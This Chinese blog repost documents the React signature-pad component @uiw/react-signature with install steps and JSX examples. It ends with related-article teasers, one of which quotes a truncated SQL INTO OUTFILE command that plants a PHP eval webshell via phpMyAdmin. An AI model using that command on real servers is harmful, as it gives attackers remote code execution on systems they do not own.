React 签字手写签名组件 react-signature

在这里插入图片描述

安装依赖包

npm install @uiw/react-signature

示例代码

import React, { useRef } from "react";
import Signature from '@uiw/react-signature';export default function App() {const $svg = useRef(null);const handle = (evn) => $svg.current?.clear();return (<><Signature ref={$svg} /><button onClick={handle}>Clear</button></>);
}

Readonly

import React, { useRef, useEffect } from "react";
import Signature from '@uiw/react-signature';const points = {"path-01": [[81.546875,38.87890625],[82.34375,37.55078125],[84.27734375,35.2265625],[87.73046875,33.2421875],[94.98046875,30.87890625],[106.29296875,28.6796875],[118.23828125,27.71875],[126.6953125,29.45703125],[134.9375,36.22265625],[141.8359375,47.13671875],[143.9765625,59.53515625],[141.8671875,76],[128.1484375,98.9609375],[106.203125,118.87109375],[95.04296875,125.8203125],[94.5859375,125.04296875],[94.7265625,122.04296875],[97.90234375,115.30859375],[109.28515625,102.3046875],[129.75390625,86.796875],[155.27734375,76.14453125],[184.99609375,71.8828125],[218.16015625,73.33984375],[249.26953125,77.8671875],[264.2421875,81.10546875],[266.51171875,82.35546875],[267.69921875,82.99609375],[267.64453125,83.08203125],[267.73046875,82.6875],[267.73828125,80.4921875],[267.83203125,75.4765625],[268.36328125,66.6484375],[268.84765625,56.4609375],[268.421875,46.88671875],[266.9296875,40.86328125],[264.90625,38.4765625],[262.87890625,37.30859375],[258.68359375,39.13671875],[251.265625,43.80078125],[242.21484375,51.79296875],[232.60546875,63.21484375],[222.6484375,78.53125],[213.01171875,94.58984375],[206.3203125,104.57421875],[201.64453125,109.59375],[198.61328125,111.87109375],[197.24609375,111.3671875],[195.421875,109.23828125],[193.87890625,104.91015625],[193.7265625,99.140625],[198.671875,89.87109375],[214.1015625,75.14453125],[243.25390625,54.8671875],[290.3671875,29.3515625],[329.31640625,10.6875],[338.9609375,6.70703125],[338.5234375,9.07421875],[336.8671875,15.4453125],[331.4296875,28.4140625],[323.234375,43.5234375],[312.70703125,57.9609375],[302.296875,66.97265625],[293.85546875,70.734375],[287.6484375,72.25],[283.45703125,70.9453125],[280.51171875,68.09375],[279.5390625,64.13671875],[280.828125,60.0234375],[284.98828125,56.40625],[294.63671875,54.62109375],[307.8984375,56.17578125],[316.7890625,62.65234375],[317.5859375,74.11328125],[309.1640625,92.50390625],[295.12109375,110.55859375],[282.93359375,123.125],[278.58203125,129.00390625],[279.46875,129.80859375],[285.25390625,129.26953125],[299.71484375,125.71875],[321.41015625,118.89453125],[349.296875,108.58203125],[372.53125,98.8671875],[387.57421875,91],[395.23046875,84.53125],[396.7421875,79.3046875],[395.31640625,75.45703125],[389.86328125,73.57421875],[374.875,77.3203125],[347.36328125,88.46875],[310.44140625,107.75],[273.14453125,130.30078125],[252.08984375,145.77734375],[246.2890625,152.421875],[245.4609375,153.8046875],[245.3671875,153.1640625],[245.78515625,148.46875],[247.5859375,136.29296875],[250.55078125,119.38671875],[253.1796875,107.87890625],[255.4765625,102.29296875],[257.40625,99.61328125],[260.58203125,99.8125],[273.9453125,105.66015625],[296.24609375,118.10546875],[326.40234375,138.03125],[355.63671875,158.3515625],[368.66796875,167.1796875],[373.015625,170.12109375],[374.7578125,170.8203125],[374.73046875,169.78125],[374.6953125,167.3203125],[374.765625,161.75],[375.6328125,154.09375],[377.94921875,146.08984375],[380.94921875,140.23046875],[383.6640625,136.3046875],[385.0546875,134.08203125],[385.19140625,133.45703125],[384.81640625,132.41015625]],"path-02": [[335.0078125,77.8828125],[335.31640625,77.984375],[336.16796875,78.30078125],[337.640625,79.0546875],[339.65234375,80.44140625],[342.88671875,82.921875],[347.0625,86.28125],[353.9296875,91.546875],[358.88671875,95.125],[359.7734375,95.6875],[360.48828125,96.19921875],[360.2265625,96.42578125]]
}export default function App() {return (<Signature defaultPoints={points} readonly fill="#6b85e4" />);
}

Background Color & Text color

背景透明度可以通过 --w-signature-background:transparent; 设置

import React, { useRef } from "react";
import Signature from '@uiw/react-signature';export default function App() {const $svg = useRef(null);const handle = (evn) => $svg.current?.clear();return (<><Signature ref={$svg} fill="red" style={{ "--w-signature-background": "#e4e6ef" }} /><button onClick={handle}>Clear</button></>);
}

Create Points

import React, { useRef, useState, useCallback, useEffect } from "react";
import Signature from '@uiw/react-signature';export default function App() {const $svg = useRef(null);const [points, setPoints] = useState([])const handle = (evn) => {$svg.current?.clear();setPoints([])}const handlePoints = (data) => {if (data.length > 0) {setPoints([ ...points, JSON.stringify(data) ]);}}return (<><Signature ref={$svg} onPointer={handlePoints} /><button onClick={handle}>Clear</button>{points.map((item, idx) => {return <pre key={idx} style={{ whiteSpace: 'pre-wrap' }}>{item}</pre>})}</>);
}

Render Path

import React, { useRef, useEffect } from "react";
import Signature from '@uiw/react-signature';const points = {"path-1": [[83.52734375,63.6015625],[83.22265625,64.02734375],[81.86328125,66.0390625],[78.69140625,70.90625],[72.76171875,80.44140625],[67.01171875,91.421875],[64.5390625,98.19921875],[63.83203125,101.25390625],[63.640625,102.5078125],[63.62109375,102.7109375],[63.96484375,102.22265625],[64.890625,100.87890625],[66.3671875,98.515625]],"path-2": [[116.5546875,65.8359375],[117.3125,65.8359375],[119.23046875,65.90625],[122.078125,66.39453125],[125.44140625,67.51171875],[128.33203125,69.2421875],[130.6484375,71.53515625],[131.94140625,73.6796875],[132.28125,75.65234375],[132.0625,77.5],[130.33203125,79.78125],[126.4921875,83.24609375],[120.9375,87.5234375],[114.859375,91.13671875],[108.09765625,93.66796875],[101.8359375,94.7734375],[96.26953125,94.7734375],[92.23828125,94.90625],[89.94921875,94.96484375],[88.234375,95.04296875],[88.03515625,95.08984375],[89.6015625,95.4296875],[94.75,96.640625],[107.55859375,98.640625],[123.6171875,100.09375],[135.5546875,100.734375],[141.140625,101.03515625],[142.2578125,101.08984375]]
}export default function App() {return (<SignaturedefaultPoints={points}renderPath={(path, keyName) => {if (keyName === 'path-1') {return <path d={path} fill="red" />}if (keyName === 'path-2') {return <path d={path} fill="blue" />}}}/>);
}

Stroke

import React, { useRef, useEffect } from "react";
import Signature from '@uiw/react-signature';const points = {"path-1": [[83.52734375,63.6015625],[83.22265625,64.02734375],[81.86328125,66.0390625],[78.69140625,70.90625],[72.76171875,80.44140625],[67.01171875,91.421875],[64.5390625,98.19921875],[63.83203125,101.25390625],[63.640625,102.5078125],[63.62109375,102.7109375],[63.96484375,102.22265625],[64.890625,100.87890625],[66.3671875,98.515625]],"path-2": [[116.5546875,65.8359375],[117.3125,65.8359375],[119.23046875,65.90625],[122.078125,66.39453125],[125.44140625,67.51171875],[128.33203125,69.2421875],[130.6484375,71.53515625],[131.94140625,73.6796875],[132.28125,75.65234375],[132.0625,77.5],[130.33203125,79.78125],[126.4921875,83.24609375],[120.9375,87.5234375],[114.859375,91.13671875],[108.09765625,93.66796875],[101.8359375,94.7734375],[96.26953125,94.7734375],[92.23828125,94.90625],[89.94921875,94.96484375],[88.234375,95.04296875],[88.03515625,95.08984375],[89.6015625,95.4296875],[94.75,96.640625],[107.55859375,98.640625],[123.6171875,100.09375],[135.5546875,100.734375],[141.140625,101.03515625],[142.2578125,101.08984375]]
}export default function App() {return (<SignaturedefaultPoints={points}options={{size: 6,}}renderPath={(path, keyName) => {return (<><pathd={path}strokeWidth="3"stroke="blue"fill="transparent"strokeLinejoin="round"strokeLinecap="round"pointerEvents="all"/><pathd={path}strokeWidth="0"stroke="transparent"fill="#dadada"strokeLinejoin="round"strokeLinecap="round"pointerEvents="all"/></>)}}/>);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/183681.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[ISCTF2023] Crypto/PWN/Reverse

最近新生赛还挺多&#xff0c;不过这个开始后注册页面就被删了&#xff0c;没注册上。拿别人的附件作了下。 Crypto 七七的欧拉 这题只给了n,e,c这种情况一般正常没法解&#xff0c;猜n不正常 import gmpy2 import libnum from crypto.Util.number import *flagbISCTF{****…

【C/C++笔试练习】this指针的概念、初始化列表、const对象调用、构造和析构函数、继承和组合、重载和多态、虚函数的定义、计算日期到天数转换、幸运的袋子

文章目录 C/C笔试练习选择部分&#xff08;1&#xff09;this指针的概念&#xff08;2&#xff09;初始化列表&#xff08;3&#xff09;const对象调用&#xff08;4&#xff09;构造和析构函数&#xff08;5&#xff09;继承和组合&#xff08;6&#xff09;重载和多态&#x…

7Docker搭建es和kibana

一、安装es 1.拉取镜像 sudo docker pull elasticsearch:7.12.0 elasticsearch:7.12.0:我安装的版本是7.12.0&#xff0c;可以根据实际的情况安装 创建docker容器挂在的目录&#xff1a; sudo mkdir -p /opt/elasticsearch/config sudo mkdir -p /opt/elasticsearch/data s…

TA-Lib学习研究笔记(一)

TA-Lib学习研究笔记&#xff08;一&#xff09; 1.介绍 TA-Lib&#xff0c;英文全称“Technical Analysis Library”,是一个用于金融量化的第三方库&#xff0c;涵盖了150多种交易软件中常用的技术分析指标&#xff0c;如RSI,KDJ,MACD, MACDEXT, MACDFIX, SAR, SAREXT, MA,SM…

nacos配置变更导致logback日志异常

问题背景: 线上的服务突然内存爆满&#xff0c;查服务器突然发现&#xff0c;日志全部打印到了/tmp/tomcat.xxx.port目录下&#xff0c;后来对应操作时间&#xff0c;和nacos修改配置是同一时间发生的&#xff0c;但是疑惑的点是&#xff0c;nacos配置变更为什么会引起logback的…

OpenMMlab导出FCN模型并用onnxruntime推理

导出onnx文件 直接使用脚本 import torch from mmseg.apis init_modelconfig_file configs/fcn/fcn_r18-d8_4xb2-80k_cityscapes-512x1024.py checkpoint_file fcn_r18-d8_512x1024_80k_cityscapes_20201225_021327-6c50f8b4.pth model init_model(config_file, checkpoin…

基于Java SSM框架实现高校二手交易平台系统项目【项目源码+论文说明】

基于java的SSM框架实现高校二手交易平台系统演示 摘要 本论文主要论述了如何使用JAVA语言开发一个高校二手交易平台&#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将…

数据清洗和特征工程的关系是什么?有什么区别?

1.数据清洗独立于特征工程 数据清洗是独立于特征工程的&#xff1a;一方面&#xff0c;数据清洗不仅适用于机器学习项目&#xff0c;也适用于一般的数据统计分析过程&#xff0c;而特征工程仅适用于机器学习项目&#xff1b;另一方面&#xff0c;针对机器学习项目&#xff0c;…

001 - 安装Qt并配置环境

进入Qt中文网站的下载界面 &#x1f449;点此进入 点进去之后&#xff0c;你会看到如下界面&#xff1a; 这里下载的是Qt开源版的在线安装器&#xff0c; 如果你觉得下载速度很慢&#xff0c;可以挂个梯子。双击打开&#xff1a; 因为是在线安装&#xff0c;所以你需要输入电子…

【Web安全】拿到phpMyAdmin如何获取权限

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…

数据结构day4作业

1.单链表任意位置删除 datetype pos;printf("please input pos");scanf("%d",&pos);headdelete_all(head,pos);Output(head);Linklist delete_all(Linklist head,datetype pos) {if(pos<1||pos>length(head)||headNULL)return head;if(head->…

Web安全漏洞分析-XSS(上)

随着互联网的迅猛发展&#xff0c;Web应用的普及程度也愈发广泛。然而&#xff0c;随之而来的是各种安全威胁的不断涌现&#xff0c;其中最为常见而危险的之一就是跨站脚本攻击&#xff08;Cross-Site Scripting&#xff0c;简称XSS&#xff09;。XSS攻击一直以来都是Web安全领…

万界星空科技/仓库管理WMS系统/免费仓库管理系统

仓库管理&#xff08;仓储管理&#xff09;&#xff0c;指对仓库及仓库内部的物资进行收发、结存等有效控制和管理&#xff0c;确保仓储货物的完好无损&#xff0c;保证生产经营活动的正常进行&#xff0c;在此基础上对货物进行分类记录&#xff0c;通过报表分析展示仓库状态、…

使用Python爬取快手视频与评论(App与Web端分析)

文章目录 1. APP端抓包配置2. APP端抓包分析3. Web端抓包分析4. 爬虫代码实现 【作者主页】&#xff1a;吴秋霖 【作者介绍】&#xff1a;Python领域优质创作者、阿里云博客专家、华为云享专家。长期致力于Python与爬虫领域研究与开发工作&#xff01; 【作者推荐】&#xff1a…

酷开科技:让体育迷的热情释放,让运动精神传递

在繁忙的生活节奏中&#xff0c;我们总是被各种琐事所困扰&#xff0c;很难抽出时间去享受运动带来的快乐&#xff0c;甚至很少有时间去观看一场体育赛事。而一场好的体育赛事带给体育爱好者的快乐往往来自于两方面&#xff0c;一是线下参与&#xff0c;感受现场带来的震撼&…

基于Java SSM框架+Vue实现病人跟踪治疗信息系统项目【项目源码+论文说明】

基于java的SSM框架Vue实现病人跟踪治疗信息系统演示 摘要 病人跟踪治疗信息管理系统采用B/S模式&#xff0c;促进了病人跟踪治疗信息管理系统的安全、快捷、高效的发展。传统的管理模式还处于手工处理阶段&#xff0c;管理效率极低&#xff0c;随着病人的不断增多&#xff0c;…

Java---抽象类讲解

文章目录 1. 抽象类概述2. 抽象类特点3. 抽象类的成员特点4. 抽象类猫狗应用 1. 抽象类概述 在Java中&#xff0c;一个没有方法体的方法应该定义为抽象方法&#xff1b;而类中如果有抽象方法&#xff0c;该类必须定义为抽象类。 2. 抽象类特点 1. 抽象类和抽象方法必须使用abst…

Python将Labelme的Json标注文件进行增、删、改、查

Python将Labelme的Json标注文件进行增、删、改、查 前言前提条件相关介绍实验环境Json标注文件的增、删、改、查增代码实现输出结果 删代码实现输出结果 改代码实现输出结果 查代码实现输出结果 前言 由于本人水平有限&#xff0c;难免出现错漏&#xff0c;敬请批评改正。更多精…

【JavaEE初阶】——JVM介绍(面试高频)

文章目录 前言一、进程和线程二、JVM进程三、JVM介绍 3.1 JVM内存区域划分 3.2 JVM类加载 3.3 JVM垃圾回收&#xff08;CG&#xff09;四、JVM常见选择题总结 前言 一、进程和线程 在谈JVM的这些问题前&#xff0c;我们先来复习一下有关线程和进程的关系 进程&…

在Springboot中将数据渲染到前端页面1.0

前端数据代码&#xff1a; <?xml version"1.0" encoding"UTF-8" ?> <emps><emp><name>金毛狮王</name><age>55</age><image>https://web-framework.oss-cn-hangzhou.aliyuncs.com/web/1.jpg</image…